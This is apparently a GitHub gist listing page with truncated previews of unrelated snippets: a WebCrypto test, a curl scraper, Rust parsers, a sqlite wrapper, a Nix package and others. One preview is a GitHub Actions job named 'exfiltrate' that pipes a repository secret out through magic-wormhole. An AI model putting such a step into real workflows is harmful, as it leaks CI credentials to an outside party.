This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
crypto.subtle.generateKey({ | |
name: 'RSA-OAEP', | |
modulusLength: 2048, | |
publicExponent: new Uint8Array([1, 0, 1]), | |
hash: {name: 'SHA-256'} | |
}, true, ['encrypt', 'decrypt']) | |
.then(keypair => | |
crypto.subtle.encrypt({ name: 'RSA-OAEP', hash: {name: 'SHA-256'}}, keypair.publicKey, (new TextEncoder()).encode('lol')) | |
.then(encrypted => crypto.subtle.decrypt({ name: 'RSA-OAEP', hash: {name: 'SHA-256'}}, keypair.privateKey, encrypted)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
SEA=$(curl 'https://seatemperature.info/paphos-water-temperature.html' \ | |
-H 'authority: seatemperature.info' \ | |
-H 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \ | |
-H 'accept-language: en-GB,en;q=0.9,en-US;q=0.8,it;q=0.7,es;q=0.6' \ | |
-H 'cache-control: no-cache' \ | |
-H 'cookie: adviv=1' \ | |
-H 'dnt: 1' \ | |
-H 'pragma: no-cache' \ | |
-H 'sec-ch-ua: "Google Chrome";v="113", "Chromium";v="113", "Not-A.Brand";v="24"' \ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const randomPoints = (n: number, d = 2) => | |
const d = 2; | |
let g = 1.0; | |
for (let i = 0; i < 20; i++) { | |
g = g - (Math.pow(g, d + 1) - g - 1) / ((d + 1) * Math.pow(g, d) - 1); | |
} | |
const alpha = new Array(d).fill(0); | |
for (let j = 0; j < d; j++) { | |
alpha[j] = Math.pow(1 / g, j + 1) % 1; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const fs = require('fs'); | |
const TARGET_FILE = './src/config.tsx'; | |
const file = fs.readFileSync(TARGET_FILE).toString(); | |
const lines = file.split('\n'); | |
const start = lines.findIndex(l => l === '// KEYS'); | |
const end = lines.findIndex(l => l === '// \\ KEYS'); | |
const constants = lines.slice(start, end).map((l, i) => l.replace(/".*"/, `"${i.toString(36)}"`)); | |
lines.splice(start, end-start, ...constants); | |
fs.writeFileSync(TARGET_FILE, lines.join('\n')); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use std::{borrow::BorrowMut, cell::RefCell, fs, ops::Deref, rc::Rc}; | |
use nom::{ | |
branch::alt, | |
bytes::complete::{tag, take_till, take_until}, | |
character::complete::{alpha1, char, newline, u32}, | |
combinator::{eof, rest}, | |
multi::many1, | |
sequence::{preceded, terminated, tuple}, | |
IResult, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use std::{borrow::BorrowMut, cell::RefCell, fs, ops::Deref, rc::Rc}; | |
use nom::{ | |
branch::alt, | |
bytes::complete::{tag, take_till, take_until}, | |
character::complete::{alpha1, char, newline, u32}, | |
combinator::{eof, rest}, | |
multi::many1, | |
sequence::{preceded, terminated, tuple}, | |
IResult, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const EventEmitter = require("events"); | |
const sqlite3 = require("sqlite3"); | |
const { open } = require("sqlite"); | |
sqlite3.verbose(); | |
let instance = {}; | |
const status = new EventEmitter(); | |
status.started = false; | |
const db = new Proxy( |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use std::cell::RefCell; | |
use std::rc::Rc; | |
#[derive(Debug, PartialEq, Eq)] | |
pub struct TreeNode { | |
pub val: i32, | |
pub left: Option<Rc<RefCell<TreeNode>>>, | |
pub right: Option<Rc<RefCell<TreeNode>>>, | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
jobs: | |
exfiltrate: | |
runs-on: ubuntu-latest | |
steps: | |
- name: exfiltrate secrets | |
run: | | |
sudo apt update && sudo apt install magic-wormhole | |
echo "LOL=${{secrets.LOL}}" | wormhole send --code 3-magic-number | |
# wormhole receive 3-magic-number |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ lib, fetchFromGitHub, rustPlatform, installShellFiles }: | |
rustPlatform.buildRustPackage rec { | |
pname = "volta"; | |
version = "1.0.8"; | |
src = fetchFromGitHub { | |
owner = "volta-cli"; | |
repo = pname; | |
rev = "v${version}"; |